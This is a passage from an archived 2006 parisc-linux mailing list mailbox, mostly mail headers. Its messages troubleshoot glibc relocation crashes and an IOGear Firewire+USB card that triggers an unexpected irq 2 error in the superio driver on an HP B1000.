	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: DfAdcJVXTiEtoqyUaGRwenF1ZUVSRBc/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23506

--===============0060818359==
Content-Type: multipart/alternative; 
	boundary="----=_Part_2013_25717878.1143523114400"

------=_Part_2013_25717878.1143523114400
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gU3VuZGF5IDI2IE1hcmNoIDIwMDYgMDY6MDUsIEpvaG4gRGF2aWQgQW5nbGluIHdyb3RlOgo+
ID4gUmVnYXJkaW5nIHRoZSBzZWdmYXVsdCwgSSBjYW4ndCBoZWxwIHlvdSB0aGVyZSAuLi4gYWx0
aG91Z2ggSSBoYXZlIHNlZW4KbWFueQo+ID4gYXBwbGljYXRpb25zIG5vdCBsb25nZXIgd29ya2lu
ZyBvbiBteSBEZWJpYW4vdGVzdGluZyBzeXN0ZW0gbGF0ZWx5Cj4gPiAoc2VnZmF1bHQsICd1bnJl
c29sdmFibGUgcmVsb2NhdGlvbiBlcnJvciAweDQyJyBtb3N0IG9mIHRoZSB0aW1lKS4KPgo+IFRo
aXMgc2hvdWxkIGJlIGZpeGVkIGluIGxpYmM2IDIuMy42LTMgd2hpY2ggaGFzIHN1cHBvcnQgZm9y
IHRoZSBhYm92ZQo+IHJlbG9jYXRpb24uICBJZiBpdCdzIHN0aWxsIG9jY3VycmluZywgdGhlcmUg
bmVlZHMgdG8gYmUgYSBuZXcgYnVnIHJlcG9ydC4KPiBJbiB0aGUgc2l0dWF0aW9ucyB0aGF0IEkn
dmUgc2VlbiB0aGUgcmVsb2NhdGlvbnMgYXJlIGNvbWluZyBmcm9tCj4gL3Vzci9saWIvU2NydDEu
byB3aGVuIHBpZSBjb2RlIGlzIGJlaW5nIHVzZWQuCgpJdCBzZWVtcyB3aXRoIGdsaWJjLTIuMy42
LTMgSSBubyBsb25nZXIgc2VlIHRoZSAndW5yZXNvbHZlZCByZWxvY2F0aW9uIDB4NDInCmVycm9y
LCBidXQgc3RpbGwgcXVpdGUgYSBsb3Qgb2YgKHRoZSBzYW1lKSBhcHBzIGFyZSAoc3RpbGwpIG5v
dCB3b3JraW5nCmNvcnJlY3RseToKLSBhdXRvZnMgKGF1dG9tb3VudCBkb2Vzbid0IGNyYXNoLCBi
dXQgZG9lc24ndCB3b3JrIGFzIHN1cHBvc2VkIGVpdGhlcikKLSBzYW1iYSAoY3Jhc2hlcykKLSBz
cXVpZCAoanVzdCBvcGVucyB1cCBhbiBzdHJhbmdlIFVEUCBwb3J0IGluc3RlYWQgb2YgdGhlIG5l
Y2Nlc3NhcnkgVENQCnBvcnQpCi0gYWlkZSAoY3Jhc2hlcykKCkF0IGxlYXN0IGZvciBhdXRvZnMs
IHNhbWJhIGFuZCBhaWRlIHRoZSBvbGQgdHJpY2sgb2YgcmVjb21waWxpbmcgd2l0aApnY2MtMy40
IHNlZW1zIHRvIHdvcmssIGJ1dCBJIHRoaW5rIHNxdWlkIHNlZW1zIHRvIGJlIGdlbnVpbmVseSBi
cm9rZW4gOy1QCgpNYXgK
------=_Part_2013_25717878.1143523114400
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

PHNwYW4gY2xhc3M9InEiPk9uIFN1bmRheSAyNiBNYXJjaCAyMDA2IDA2OjA1LCBKb2huIERhdmlk
IEFuZ2xpbiB3cm90ZTo8YnI+Jmd0OyAmZ3Q7IFJlZ2FyZGluZyB0aGUgc2VnZmF1bHQsIEkgY2Fu
J3QgaGVscCB5b3UgdGhlcmUgLi4uIGFsdGhvdWdoIEkgaGF2ZSBzZWVuIG1hbnk8YnI+Jmd0OyAm
Z3Q7IGFwcGxpY2F0aW9ucyBub3QgbG9uZ2VyIHdvcmtpbmcgb24gbXkgRGViaWFuL3Rlc3Rpbmcg
c3lzdGVtIGxhdGVseQo8YnI+Jmd0OyAmZ3Q7IChzZWdmYXVsdCwgJ3VucmVzb2x2YWJsZSByZWxv
Y2F0aW9uIGVycm9yIDB4NDInIG1vc3Qgb2YgdGhlIHRpbWUpLjxicj4mZ3Q7PGJyPiZndDsgVGhp
cyBzaG91bGQgYmUgZml4ZWQgaW4gbGliYzYgMi4zLjYtMyB3aGljaCBoYXMgc3VwcG9ydCBmb3Ig
dGhlIGFib3ZlPGJyPiZndDsgcmVsb2NhdGlvbi4gJm5ic3A7SWYgaXQncyBzdGlsbCBvY2N1cnJp
bmcsIHRoZXJlIG5lZWRzIHRvIGJlIGEgbmV3IGJ1ZyByZXBvcnQuCjxicj4mZ3Q7IEluIHRoZSBz
aXR1YXRpb25zIHRoYXQgSSd2ZSBzZWVuIHRoZSByZWxvY2F0aW9ucyBhcmUgY29taW5nIGZyb208
YnI+Jmd0OyAvdXNyL2xpYi9TY3J0MS5vIHdoZW4gcGllIGNvZGUgaXMgYmVpbmcgdXNlZC48L3Nw
YW4+PGJyPjxicj5JdCBzZWVtcyB3aXRoIGdsaWJjLTIuMy42LTMgSSBubyBsb25nZXIgc2VlIHRo
ZSAndW5yZXNvbHZlZCByZWxvY2F0aW9uIDB4NDInIGVycm9yLCBidXQgc3RpbGwgcXVpdGUgYSBs
b3Qgb2YgKHRoZSBzYW1lKSBhcHBzIGFyZSAoc3RpbGwpIG5vdCB3b3JraW5nIGNvcnJlY3RseToK
PGJyPi0gYXV0b2ZzIChhdXRvbW91bnQgZG9lc24ndCBjcmFzaCwgYnV0IGRvZXNuJ3Qgd29yayBh
cyBzdXBwb3NlZCBlaXRoZXIpPGJyPi0gc2FtYmEgKGNyYXNoZXMpPGJyPi0gc3F1aWQgKGp1c3Qg
b3BlbnMgdXAgYW4gc3RyYW5nZSBVRFAgcG9ydCBpbnN0ZWFkIG9mIHRoZSBuZWNjZXNzYXJ5IFRD
UCBwb3J0KTxicj4tIGFpZGUgKGNyYXNoZXMpPGJyPjxicj5BdCBsZWFzdCBmb3IgYXV0b2ZzLCBz
YW1iYSBhbmQgYWlkZSB0aGUgb2xkIHRyaWNrIG9mIHJlY29tcGlsaW5nIHdpdGggCmdjYy0zLjQg
c2VlbXMgdG8gd29yaywgYnV0IEkgdGhpbmsgc3F1aWQgc2VlbXMgdG8gYmUgZ2VudWluZWx5IGJy
b2tlbiA7LVA8YnI+PGJyPk1heDxicj4K
------=_Part_2013_25717878.1143523114400--

--===============0060818359==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0060818359==--



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Wed, 29 Mar 2006 08:58:38 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20060329135838.GL9011@quicksilver.road.mcmartin.ca>
References: <20060329093444.GA5593@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624033 18707 80.91.229.3 (22 Nov 2014 02:40:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Chris Frost <chris@frostnet.net>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Mar 2006 14:00:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 29 Mar 2006 16:00:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AD4657D720;
	Wed, 29 Mar 2006 07:00:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16504-08; Wed, 29 Mar 2006 07:00:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D8C97D71A;
	Wed, 29 Mar 2006 07:00:32 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7483B7D715
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 07:00:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16504-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 07:00:29 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 9D8117D6A1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 07:00:29 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id CF2F45840A8;
	Wed, 29 Mar 2006 09:00:26 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4E3625840A2;
	Wed, 29 Mar 2006 09:00:26 -0500 (EST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id BEEC323E83;
	Wed, 29 Mar 2006 08:59:54 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01469-01; Wed, 29 Mar 2006 08:59:54 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 6C15323E82;
	Wed, 29 Mar 2006 08:59:54 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 8A4C93B060; Wed, 29 Mar 2006 08:58:38 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060329093444.GA5593@pooh.bubble.frostnet.net>
User-Agent: Mutt/1.5.11+cvs20060126
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NaEZcBMjX1Vp6uuYY2FyNzZ3SDc4NAy1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23507

On Wed, Mar 29, 2006 at 01:34:44AM -0800, Chris Frost wrote:
> If I change the if condition in superio.c to not error when irq == 2
> the machine gets further but produces several warnings, errors, stack
> traces, and an oops or two. It does recognize the firewire controller
> and sees a firewire disk I attach. I am even able to mount the file system
> on the disk and list its contents. However, the results of a find on the
> drive appear to only come in small chunks when I type on the keyboard.
> It would seem superio and the card are linked.
>

lspci -vn for the card, please...

Try commenting out 
	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87560_USB) },
	{ PCI_DEVICE(PCI_VENDOR_ID_NS, PCI_DEVICE_ID_NS_87415) },
in superio.c and seeing if that helps at all.

Cheers,
	Kyle 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Max Grabert" <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Wed, 29 Mar 2006 18:42:49 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <e6eae0290603290942o79a2990bma9faa8ef527c1243@mail.gmail.com>
References: <20060329093444.GA5593@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1507795203=="
X-Trace: ger.gmane.org 1416624034 18710 80.91.229.3 (22 Nov 2014 02:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Chris Frost" <chris@frostnet.net>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Mar 2006 17:43:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 29 Mar 2006 19:43:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 307FD7D714;
	Wed, 29 Mar 2006 10:42:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19333-10; Wed, 29 Mar 2006 10:42:58 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C2F9D7D715;
	Wed, 29 Mar 2006 10:42:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2101E7D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 10:42:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19333-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 10:42:53 -0700 (MST)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.189])
	by free.linux.hp.com (Postfix) with ESMTP id 0F0387D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 10:42:52 -0700 (MST)
Original-Received: by nproxy.gmail.com with SMTP id i2so177409nfe
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 09:42:49 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=lVEsP0K/IUgpvxN48V0GJd4ecFjMLkPamOfO+V2GXutLl/YyLwvTTeyDrpdnkr23c0gnDjyubzN/0rhMjM86CgfQjSnU4G7Kr3Mx0QFUmRbpHJvXBdSzniXQttzV3Kg215mFaUOptKfnK6LmIsc6SGLdJHrCsXdqtQPQsN88lCI=
Original-Received: by 10.49.65.17 with SMTP id s17mr487435nfk;
	Wed, 29 Mar 2006 09:42:49 -0800 (PST)
Original-Received: by 10.48.204.7 with HTTP; Wed, 29 Mar 2006 09:42:49 -0800 (PST)
In-Reply-To: <20060329093444.GA5593@pooh.bubble.frostnet.net>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: G/4Scdd7bmw7vq2HZzdLS0RHUzc4cpHC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23508

--===============1507795203==
Content-Type: multipart/alternative; 
	boundary="----=_Part_1253_849327.1143654169728"

------=_Part_1253_849327.1143654169728
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gMjkvMDMvMDYsIENocmlzIEZyb3N0IDxjaHJpc0Bmcm9zdG5ldC5uZXQ+IHdyb3RlOgo+Cj4g
V2hlbiBJIGJvb3QgYSBCMTAwMCB1c2luZyAyLjYuMTYtcGE4IHdpdGggYW4gSU9HZWFyIEZpcmV3
aXJlK1VTQiBjYXJkCj4gKEdVRjMxMjEpIHRoZSBtYWNoaW5lIHNob3dzIHRoZSBlcnJvciBkcml2
ZXJzL3BhcmlzYy9zdXBlcmlvLmM6MzA4LAo+ICJJbGxlZ2FsIGlycSBudW1iZXIoMikiLCBhZnRl
ciBpdCBicmluZ3MgdXAgVVNCLiBUaGlzIGhhcHBlbnMgd2hlbiB0aGUKPiBjYXJkIGlzIGluIHRo
ZSA2Nk1IeiA2NGJpdCBzbG90IGFuZCB3aGVuIGl0IGlzIGluIG9uZSBvZiB0aGUgMzNNSHoKPiAz
MmJpdCBzbG90cy4gKFRoZSBjYXJkIGlzIDMzTUh6IDMyYml0OyBJIHRyaWVkIHRvIHNlZSBpZiBk
aWZmZXJlbnQKPiBzbG90cy9idXNlcyBtaWdodCBjaGFuZ2UgdGhlIGlycS4pCgoKRllJIEknbSB1
c2luZyBhIHNpbWlsYXIgVVNCL0ZpcmV3aXJlIGNvbWJvIGNhcmQgaW4gbXkgQzMwMDAgYW5kIGEK
VVNCMi4wNXBvcnQgUENJIGNhcmQgaW4gbXkgQzM3MDAgYW5kIHRoZXkgd29yayBmaW5lIChib3Ro
IGNhcmRzIHVzaW5nCkVIQ0kgLyBPSENJLAp3b3JrIHNpbmNlIHRoZSBlYXJseSAyLjYgZGF5cyB1
cCB0byB0aGUgbGFzdGVzdCBDVlMga2VybmVsKS4KClNvIGl0IHNlZW1zIHRvIGJlIGEgcHJvYmxl
bSB3aXRoIHlvdXIgc3BlY2lmaWMgdHlwZSBvZiBVU0IgY29udHJvbGxlcjsgaXMgaXQKYnkgYW55
IGNoYW5jZSBhIFVIQ0kgY29tcGF0aWJsZSBjb250cm9sbGVyPyBBRkFJSyB0aGV5IHNob3VsZCB3
b3JrIGZpbmUsIGJ1dAp3aG8ga25vd3M/IEEgJ2xzcGNpIC12JyBvdXRwdXQgd291bGQgYmUgbmlj
ZSwgYWxzbyBtYWtlIHN1cmUgdGhhdCB5b3VyIEIxMDAwCmlzIHVzaW5nIHRoZSBsYXRlc3QgUERD
IGZpcm13YXJlOyBJSVJDIHRoZXJlIHdlcmUgYSBjb3VwbGUgb2YgUENJIHJlbGF0ZWQKYnVncyBp
biBvbGRlciB2ZXJzaW9ucyAuLi4KCkdyZWV0aW5ncywKICBNYXgK
------=_Part_1253_849327.1143654169728
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gMjkvMDMvMDYsIDxiIGNsYXNzPSJnbWFpbF9zZW5kZXJuYW1lIj5DaHJpcyBGcm9zdDwvYj4g
Jmx0OzxhIGhyZWY9Im1haWx0bzpjaHJpc0Bmcm9zdG5ldC5uZXQiPmNocmlzQGZyb3N0bmV0Lm5l
dDwvYT4mZ3Q7IHdyb3RlOjxkaXY+PHNwYW4gY2xhc3M9ImdtYWlsX3F1b3RlIj48L3NwYW4+PGJs
b2NrcXVvdGUgY2xhc3M9ImdtYWlsX3F1b3RlIiBzdHlsZT0iYm9yZGVyLWxlZnQ6IDFweCBzb2xp
ZCByZ2IoMjA0LCAyMDQsIDIwNCk7IG1hcmdpbjogMHB0IDBwdCAwcHQgMC44ZXg7IHBhZGRpbmct
bGVmdDogMWV4OyI+CldoZW4gSSBib290IGEgQjEwMDAgdXNpbmcgMi42LjE2LXBhOCB3aXRoIGFu
IElPR2VhciBGaXJld2lyZStVU0IgY2FyZDxicj4oR1VGMzEyMSkgdGhlIG1hY2hpbmUgc2hvd3Mg
dGhlIGVycm9yIGRyaXZlcnMvcGFyaXNjL3N1cGVyaW8uYzozMDgsPGJyPiZxdW90O0lsbGVnYWwg
aXJxIG51bWJlcigyKSZxdW90OywgYWZ0ZXIgaXQgYnJpbmdzIHVwIFVTQi4gVGhpcyBoYXBwZW5z
IHdoZW4gdGhlCjxicj5jYXJkIGlzIGluIHRoZSA2Nk1IeiA2NGJpdCBzbG90IGFuZCB3aGVuIGl0
IGlzIGluIG9uZSBvZiB0aGUgMzNNSHo8YnI+MzJiaXQgc2xvdHMuIChUaGUgY2FyZCBpcyAzM01I
eiAzMmJpdDsgSSB0cmllZCB0byBzZWUgaWYgZGlmZmVyZW50PGJyPnNsb3RzL2J1c2VzIG1pZ2h0
IGNoYW5nZSB0aGUgaXJxLik8L2Jsb2NrcXVvdGU+PGJyPgpGWUkgSSdtIHVzaW5nIGEgc2ltaWxh
ciBVU0IvRmlyZXdpcmUgY29tYm8gY2FyZCBpbiBteSBDMzAwMCBhbmQgYQpVU0IyLjAgNXBvcnQg
UENJIGNhcmQgaW4gbXkgQzM3MDAgYW5kIHRoZXkgd29yayBmaW5lIChib3RoIGNhcmRzIHVzaW5n
CkVIQ0kgLyBPSENJLCB3b3JrIHNpbmNlIHRoZSBlYXJseSAyLjYgZGF5cyB1cCB0byB0aGUgbGFz
dGVzdCBDVlMKa2VybmVsKS48YnI+Cjxicj4KU28gaXQgc2VlbXMgdG8gYmUgYSBwcm9ibGVtIHdp
dGggeW91ciBzcGVjaWZpYyB0eXBlIG9mIFVTQiBjb250cm9sbGVyOwppcyBpdCBieSBhbnkgY2hh
bmNlIGEgVUhDSSBjb21wYXRpYmxlIGNvbnRyb2xsZXI/IEFGQUlLIHRoZXkgc2hvdWxkCndvcmsg
ZmluZSwgYnV0IHdobyBrbm93cz8gQSAnbHNwY2kgLXYnIG91dHB1dCB3b3VsZCBiZSBuaWNlLCBh
bHNvIG1ha2UKc3VyZSB0aGF0IHlvdXIgQjEwMDAgaXMgdXNpbmcgdGhlIGxhdGVzdCBQREMgZmly
bXdhcmU7IElJUkMgdGhlcmUgd2VyZQphIGNvdXBsZSBvZiBQQ0kgcmVsYXRlZCBidWdzIGluIG9s
ZGVyIHZlcnNpb25zIC4uLjxicj4KPGJyPgpHcmVldGluZ3MsPGJyPgombmJzcDsgTWF4PGJyPgo8
L2Rpdj4K
------=_Part_1253_849327.1143654169728--

--===============1507795203==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1507795203==--



From - Thu Nov 08 21:34:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chris Frost <chris@frostnet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] IOGear Firewire+USB card causes unexpected irq 2
Date: Wed, 29 Mar 2006 01:34:44 -0800
Lines: 200
Approved: news@gmane.org
Message-ID: <20060329093444.GA5593@pooh.bubble.frostnet.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="82I3+IH0IqGh5yIs"
X-Trace: ger.gmane.org 1416624034 18711 80.91.229.3 (22 Nov 2014 02:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Mar 2006 09:35:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 29 Mar 2006 11:35:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9015A7D76D;
	Wed, 29 Mar 2006 02:35:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08872-03; Wed, 29 Mar 2006 02:35:04 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E198E7D76E;
	Wed, 29 Mar 2006 02:35:02 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CFD097D769
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 02:34:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08632-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 02:34:56 -0700 (MST)
Original-Received: from smtp-5.smtp.ucla.edu (smtp-5.smtp.ucla.edu [169.232.47.138])
	by free.linux.hp.com (Postfix) with ESMTP id E94DB7D762
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 02:34:55 -0700 (MST)
Original-Received: from mail.ucla.edu (mail.ucla.edu [169.232.46.158])
	by smtp-5.smtp.ucla.edu (8.13.6/8.13.6) with ESMTP id k2T9YoOE011944
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 29 Mar 2006 01:34:54 -0800
Original-Received: from pooh.orion.frostnet.net (Snickers.CS.UCLA.EDU [131.179.80.149])
	(authenticated bits=0)
